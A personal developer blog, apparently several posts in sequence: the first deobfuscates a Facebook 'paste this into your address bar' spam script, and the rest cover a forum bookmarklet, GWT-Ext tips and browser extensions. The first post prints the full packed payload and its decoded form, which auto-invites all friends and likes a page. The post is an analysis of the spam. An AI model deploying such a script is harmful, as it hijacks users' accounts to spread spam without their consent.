You have seen those Facebook updates that go “***** and ***** like if he/she tells these lies, 99% chance they are cheating on you.” and the like. If you go to the page and do as the page says, you will end up liking the page (automatically) and your friends will receive a “suggestion”. I fell victim too. The lure of finding out hidden stuff is just too strong

After a couple of such updates, it was obvious this is some sort of spam. And it is spreading fast too. I paid attention to the instructions on such pages. CTRL + C, ALT + D, CTRL + V and Enter. So copy & paste something in the address bar and GO. The copied stuff has to be a link … or a script. Sure enough, it is a script. Here is the encoded form:

javascript:(function(){a='app121213611239754_jop';b='app121213611239754_jode';ifc='app121213611239754_ifc';ifo='app121213611239754_ifo';mw='app121213611239754_mwrapper';eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('J e=["\\n\\g\\j\\g\\F\\g\\i\\g\\h\\A","\\j\\h\\A\\i\\f","\\o\\f\\h\\q\\i\\f\\r\\f\\k\\h\\K\\A\\L\\t","\\w\\g\\t\\t\\f\\k","\\g\\k\\k\\f\\x\\M\\N\\G\\O","\\n\\l\\i\\y\\f","\\j\\y\\o\\o\\f\\j\\h","\\i\\g\\H\\f\\r\\f","\\G\\u\\y\\j\\f\\q\\n\\f\\k\\h\\j","\\p\\x\\f\\l\\h\\f\\q\\n\\f\\k\\h","\\p\\i\\g\\p\\H","\\g\\k\\g\\h\\q\\n\\f\\k\\h","\\t\\g\\j\\z\\l\\h\\p\\w\\q\\n\\f\\k\\h","\\j\\f\\i\\f\\p\\h\\v\\l\\i\\i","\\j\\o\\r\\v\\g\\k\\n\\g\\h\\f\\v\\P\\u\\x\\r","\\B\\l\\Q\\l\\R\\B\\j\\u\\p\\g\\l\\i\\v\\o\\x\\l\\z\\w\\B\\g\\k\\n\\g\\h\\f\\v\\t\\g\\l\\i\\u\\o\\S\\z\\w\\z","\\j\\y\\F\\r\\g\\h\\T\\g\\l\\i\\u\\o"];d=U;d[e[2]](V)[e[1]][e[0]]=e[3];d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]];s=d[e[2]](e[6]);m=d[e[2]](e[7]);c=d[e[9]](e[8]);c[e[11]](e[10],I,I);s[e[12]](c);C(D(){W[e[13]]()},E);C(D(){X[e[16]](e[14],e[15])},E);C(D(){m[e[12]](c);d[e[2]](Y)[e[4]]=d[e[2]](Z)[e[5]]},E);',62,69,'||||||||||||||_0x95ea|x65|x69|x74|x6C|x73|x6E|x61||x76|x67|x63|x45|x6D||x64|x6F|x5F|x68|x72|x75|x70|x79|x2F|setTimeout|function|5000|x62|x4D|x6B|true|var|x42|x49|x48|x54|x4C|x66|x6A|x78|x2E|x44|document|mw|fs|SocialGraphManager|ifo|ifc|||||||'.split('|'),0,{}))})();

Lets beautify it a bit using jsbeautifier:

})();

Couple of variable declarations and somewhere in there there is “eval(function(p,a,c,k,e,r)” which means this Javascript is packed using Dean Edwards’ packer. So lets unpack it using this tool.

var _0x95ea = ["\x76\x69\x73\x69\x62\x69\x6C\x69\x74\x79", "\x73\x74\x79\x6C\x65", "\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64", "\x68\x69\x64\x64\x65\x6E", "\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C", "\x76\x61\x6C\x75\x65", "\x73\x75\x67\x67\x65\x73\x74", "\x6C\x69\x6B\x65\x6D\x65", "\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73", "\x63\x72\x65\x61\x74\x65\x45\x76\x65\x6E\x74", "\x63\x6C\x69\x63\x6B", "\x69\x6E\x69\x74\x45\x76\x65\x6E\x74", "\x64\x69\x73\x70\x61\x74\x63\x68\x45\x76\x65\x6E\x74", "\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C", "\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D", "\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70", "\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67"];
 
d = document;
d[_0x95ea[2]](mw)[_0x95ea[1]][_0x95ea[0]] = _0x95ea[3];
d[_0x95ea[2]](a)[_0x95ea[4]] = d[_0x95ea[2]](b)[_0x95ea[5]];
 
s = d[_0x95ea[2]](_0x95ea[6]);
m = d[_0x95ea[2]](_0x95ea[7]);
c = d[_0x95ea[9]](_0x95ea[8]);
 
c[_0x95ea[11]](_0x95ea[10], true, true);
s[_0x95ea[12]](c);
 
setTimeout(function () {
	fs[_0x95ea[13]]()
}, 5000);
 
setTimeout(function () {
	SocialGraphManager[_0x95ea[16]](_0x95ea[14], _0x95ea[15])
}, 5000);
 
setTimeout(function () {
	m[_0x95ea[12]](c);
	d[_0x95ea[2]](ifo)[_0x95ea[4]] = d[_0x95ea[2]](ifc)[_0x95ea[5]]
}, 5000);

The array _0×95ea contains hex coded strings. To find out what they mean, we just use an alert

alert(_0x95ea.join(','));

Those are your strings. Go back and replace them in the array.

var _0x95ea = ["visibility", 
	"style", 
	"getElementById", 
	"hidden", 
	"innerHTML", 
	"value", 
	"suggest", 
	"likeme", 
	"MouseEvents", 
	"createEvent", 
	"click", 
	"initEvent", 
	"dispatchEvent", 
	"select_all", 
	"sgm_invite_form", 
	"/ajax/social_graph/invite_dialog.php", 
	"submitDialog"];

Now replace the array references and variable declarations in the code that follows. So

d[_0x95ea[2]](mw)[_0x95ea[1]][_0x95ea[0]] = _0x95ea[3];

becomes

document['getElementById']('app121213611239754_mwrapper')['style']['visibility'] = 'hidden';

which is same as

document.getElementById('app121213611239754_mwrapper').style.visibility = 'hidden';

The final code looks like this.

// hide the div that shows the CTRL + C etc. animation
document.getElementById('app121213611239754_mwrapper').style.visibility = hidden;
 
// copy code from a hidden text area to a div to create the suggest and likeme nodes
document.getElementById('app121213611239754_jop').innerHTML = document.getElementById('app121213611239754_jode').value;
 
s = document.getElementById('suggest');
m = document.getElementById('likeme');
c = document.createEvent('MouseEvents');
 
c.initEvent('click', true, true);
s.dispatchEvent(c);
 
setTimeout(function () {
	fs.select_all()
}, 5000);
 
setTimeout(function () {
	SocialGraphManager.submitDialog('sgm_invite_form', '/ajax/social_graph/invite_dialog.php')
}, 5000);
 
setTimeout(function () {
	m.dispatchEvent(c);
	document.getElementById(ifo).innerHTML = document.getElementById(ifc).value
}, 5000);

‘app121213611239754_jode’ is a hidden text area which contains following code

<div class=​"suggestdiv">​
<a id=​"suggest" href=​"#" ajaxify=​"/​ajax/​social_graph/​invite_dialog.php?class=FanManager&​node_id=115065838533943" class=​" profile_action actionspro_a" rel=​"dialog-post">​Suggest to Friends​</a>​
</div>​
<div class=​"likemediv">​
<a ajaxify=​"/​ajax/​pages/​fan_status.php?fbpage_id=115065838533943&​add=1&​reload=0&​preserve_tab=1&​use_primer=1" id=​"likeme" rel=​"async-post" class=​"UIButton UIButton_Gray UIButton_CustomIcon UIActionButton" href=​"#">​
<span class=​"UIButton_Text">​
<i class=​"UIButton_Icon img spritemap_icons sx_icons_like">​</i>​
"Like"
</span>​
</a>​
</div>​

This code is copied to the outer DIV which creates the “suggest” and “likeme” links. Using the timeouts, suggest link is clicked, all friends are selected and invitations are sent. Then you end up liking the page.

Neat!

Sometimes when viewing a large forum thread, it would be great if you could highlight all posts by a particular user in that thread. While there might be server side plugins for the various forum software bundles available, the admins may not like the idea of installing them unless requested by a large number of users. I went ahead and wrote a script that does this by manipulating the DOM on the client. Again, such functionality is best implemented as a plugin for the forum software itself. But this is a handy script nevertheless.

It is implemented as a bookmarklet which you can drag to your bookmarks toolbar. When browsing a particular thread, select the username whose posts you want to browse and click the bookmark. It will collapse posts by other users so that posts by the user you are interested in will stand out. Other posts can be expanded/collapsed if needed. If you do not select any username, the bookmarklet will prompt for it. In your user control panel for that forum, you can change the visible posts to the maximum available and then use this to quickly go through the posts that contains answers.

There are many forum hosting software available such as MyBB, vBulletin etc. and each has its own layout of rendering posts. Further, within each, there are themes that modify the post layout. Some display the post metadata to the left while some display it above the post. Browsing through various MyBB based forums, I found that there are mainly 2 types of themes that render post metadata to the left. Both look same. Difference is in the DOM structure. First type uses a big table and individual rows for each post. Second type uses divs and nested tables for each row. A generic script to handle all forum types and variants will require some more work than what I am posting here. This script works with a subset: MyBB based forums with themes of first type.

Here is the bookmarklet: Thread collapser. There will be a slight delay when you run this first time. I adapted the jQuerify bookmarklet by Karl Swedberg to inject jQuery into the DOM and then execute our function when jQuery has been loaded successfully. It loads jQuery from Google CDN and once that is cached locally, you won’t notice the delay. Here is the complete script.

Here is a short description of how it works. I am only posting the body for startScript() which is where all our code resides. We start off by getting hold of the user selection on the page – which is supposed to be the post author. If there is no selection, it prompts for the author.

var author = getSelectedText();
if(author == '')
        author = prompt('Screen name?');
 
if(author == null || author == '')
        return false;
 
author = author.trim().toLowerCase();

Then we get hold of all the posts on the page and check if there is any post by that particular author. The selectors are fairly straightforward if you revisit the DOM structure of the template type that we are handling. Within each post TR, the first TD holds the post metadata. Post author is within an A element which points to the profile page (member.php with an UID). We iterate through all the post authors and mark a true for each one that matches what we are looking for. After the loop, we check how many true values we have.

var postRows = jQuery('div#container div#content table:first')  // get post table
        .children() // get tbody
        .children() // get trs
        .not('tr:has(td.trow_sep)') // remove post separators
        .not(':odd')    // remove post footer that has links
        .slice(1,-1);   // remove table header and footer
 
var numPostsByAuthor = jQuery('td:first a[href^=member.php]', postRows).map(
        function(){
                if(jQuery(this).text().toLowerCase() == author)
                    return true;
                else
                    return null;
        }
).size();
 
if(numPostsByAuthor == 0)
{
        alert('There are no posts by "' + author + '" on this page.');
        return false;
}

If there are posts by our author, we iterate again – collapsing posts by other authors and attaching click handlers to let the user expand them if needed (like when a post refers to a post above but hasn’t quoted it).

postRows.each(function(){
        var postAuthor = jQuery('td:first a[href^=member.php]',this).text().toLowerCase();
        if(author != postAuthor)
        {
            var currRow = jQuery(this);
            var nextRow = currRow.next();
 
            currRow.hide();
            var nextClass = nextRow.find('td:first').attr('class');
 
            var nextRowCol1 = jQuery('<td class="' + nextClass + ' smalltext">' + postAuthor + '</td>');
            var nextRowCol2 = jQuery('<td class="' + nextClass + '">[+]</td>');
            nextRow.html('');
            nextRow.append(nextRowCol1, nextRowCol2);
            nextRow.css('cursor','pointer');
 
            nextRow.toggle(function(){
                currRow.show();
                nextRow.css('font-weight','bold');
                nextRowCol2.html('[-]');
            }, function(){
                currRow.hide();
                nextRowCol2.html('[+]');
            });
        }
});

When a post is collapsed, its footer is updated with the post author and a [+] mark next to it. When this post is expanded, the footer is made bold to indicate this has been seen and the [+] turns into a [-]. Here is the output when I tested it on http://www.gfx-depot.com/forum/throw-something-at-the-person-above-you-t-1003.html.

SmartGWT 1.0, a web application library based on SmartClient and GWT, was released this Monday. From the release announcement at Sanjiv’s blog and the showcase demos, it is evident that this library packs a lot of power and is definitely worth checking out. I have come across SmartClient only recently. And now that I know of it, Ill try and get acquainted with it when I can.

Google Chat

It once happened that I did not recollect adding someone on GTalk and yet the contact showed up in my buddy list. I thought maybe the other guy did and that I forgot about it after accepting the request. Then it started happening very frequently and I had no clue.

Well, it turns out that if you communicate frequently with some people, GMail automatically allows them to chat with you and see when you are online. Its great to make new friends and learn from new people but sometimes, its just better to know who is on your buddy list! To turn this otherwise helpful feature off, log into your Gmail account and go to Settings >> Chat. Select “Only allow people that I’ve explicitly approved to chat with me and see when I’m online.”

FoxClocks

If you work across timezones, you will probably agree that having to remember / calculate the time at your client’s end isn’t always a fun thing to do. I had a couple of Timezone widgets added to my iGoogle page but I didn’t find them compelling. Just last week, I noticed Andy McDonald’s FoxClocks as a recommended extension on the Firefox add-on page. One look at the screenshot and I blinked only after it was installed. Needless to say, its a very well-made, unobtrusive extension which sits in the statusbar / toolbar and is right there when you need it. Highly customizable and highly recommended.

Yesterday, while dabbling with jQuery and getting amazed by the wealth of plugins and effects available for this library, I came across http://digitalbush.com/2008/07/31/masked-input-plugin-114/. It allows you to fit text fields with an input mask to allow only fixed-width input in a certain format. I had seen it first in MS Access a long long time ago.

To use it with GWT-Ext, include jquery.js and jquery.maskedinput.js in your host HTML file. Use <script></script> and not <script/> to avoid wasting time later.

<script language = "javascript" type="text/javascript" src="js/jquery.js" ></script>
<script language = "javascript" type="text/javascript" src="js/jquery.maskedinput.js" ></script>

Now write some native code to call the plugin’s methods:

private native void addPlaceholder(String placeholder, String maskString) /*-{
	$wnd.$.mask.addPlaceholder(placeholder, maskString);
}-*/;
 
private native void mask(String id, String maskString, String placeholderString) /*-{
	if(placeholderString != null)
		$wnd.$('#' + id).mask(maskString, {placeholder:placeholderString});
	else
		$wnd.$('#' + id).mask(maskString);
}-*/;

Add the mask to a text field:

addPlaceholder("~", "[+-]");
textField.doOnRender(new Function(){
	public void execute() {
		mask(textField.getId(), "Rs. ~9999.99/-", " ");
	}
});

This will only allow values of the type “Rs. +2345.50/-” with “Rs. ” and “/-” already filled in for the user.

Update: See this: http://gwt-ext.com/forum/viewtopic.php?f=9&t=2984. Thanks mdeg and vanderbill!

Google Chrome is all over the place – websites, blogs, Twitter, here, there …. Instinctively, I checked it out just now and my first reaction was “Ah! Its sexy!”. I am sold on the UI alone. Its simple, clean, futuristic. And sexy! I am not going to post the nitty gritty details because you can read about it here. And of course, the comic book!

• The UI, as I have mentioned floored me completely. I like sleek looking apps. Everyone does!
• Task manager: Right click the Chrome task bar button or the title bar ..err.. tab bar to get the Task Manager. Kill individual tabs and plugins to your heart’s content! I killed the Flash plugin and all tabs displayed an error message where Flash content was present. But the tabs and everything else were working fine. This also shows detailed “stats for nerds” in a tab.
• Google Gears: Its integrated right into the browser. Speed difference is quite evident and specially applicable to application shortcuts on the desktop.
• Developer tools: It has a sleek looking DOM inspector. Its like Firebug but a lot could be added. One thing Ill miss for sure is the “Inspect element” button in Firebug. Although I can right click a page element and inspect it, it would have been lot better if it was also within the DOM inspector. Or is it tucked in somewhere and I missed it?

Chrome has generated a lot of excitement. It would be great to see how it influences the web and the developers out there. Till then, I have a few things to figure out:

• How to get the menu bar back (if there is one).
• How to get the status bar to always show up. Not seeing the status bar even for a second gives me creeps!
• What sites to browse with incognito.
• What works and what doesn’t with this shiny new toy.

More than all this, after the terrible experience I had while developing for IE6 few years back, I am hoping that Chrome will clear up some of the mess that web development is. I haven’t had a serious brush with Webkit till now. But I guess its about time to do that.

Update: Jyoti had a weird “The application failed to initialize properly” error and she managed to track it down to this issue: http://code.google.com/p/chromium/issues/detail?id=38. Looks like a lot of people having trouble with it.

Quite sometime back, Khadaa commented that Dan’s HTMLEditor would be a good plugin to have as part of the GWT-Ext-UX project. I have just committed the GWT-Ext wrapper code. The wrapper code is quite small but I was stuck with some nasty bugs which took some time to squish. And I learnt a couple of things in the process.

Logs say that quite a number of readers arrived here searching for GWT-Ext HtmlEditor. Check out from SVN to start using the widget right away. Only the styles plugin is in. Undo/redo and images plugins are pending. Will try to work on them soon. If you want to add them to the project yourself, go right ahead.

PicLens

Just fell in love with this one moments ago! I had installed its Firefox extension version “just like that” while browsing the Mozilla addons site. Half an hour back, Preshit sent me a Flickr link. I happened to click the run image on one of the photos and PicLens fired up as I watched. It jumped out of Firefox, took the entire screen and transformed the dull 2D view to a fullscreen 3D view. It made viewing the pics lot more easy and pleasurable. And I decided I like it.

Edit: PicLens is now Cooliris. See the comments.

Pencil

This one has been receiving quite some attention lately and I see why. Its a very simple and effective diagramming tool. Lets you create diagrams and UI prototypes in a jiffy. After having to switch tools when I switch OSes (and I do that once in a while to get a different experience), this one is a must-have extension for my fox. The stock stencils that come with it are good enough. And, I am eagerly waiting for more stencils to become available.

Gwt-Ext forum threads have quite a lot of solutions contributed by users. But the forum search is a real pain and I have to struggle a lot for finding what I am looking for.

Use this *very helpful* Google custom search for searching the forums and most likely you will find your question already answered: http://www.google.com/coop/cse?cx=014252995673596707595%3Ao37mulitp-e.

I wonder why I didn’t think of this before seeing Sanjiv’s post!
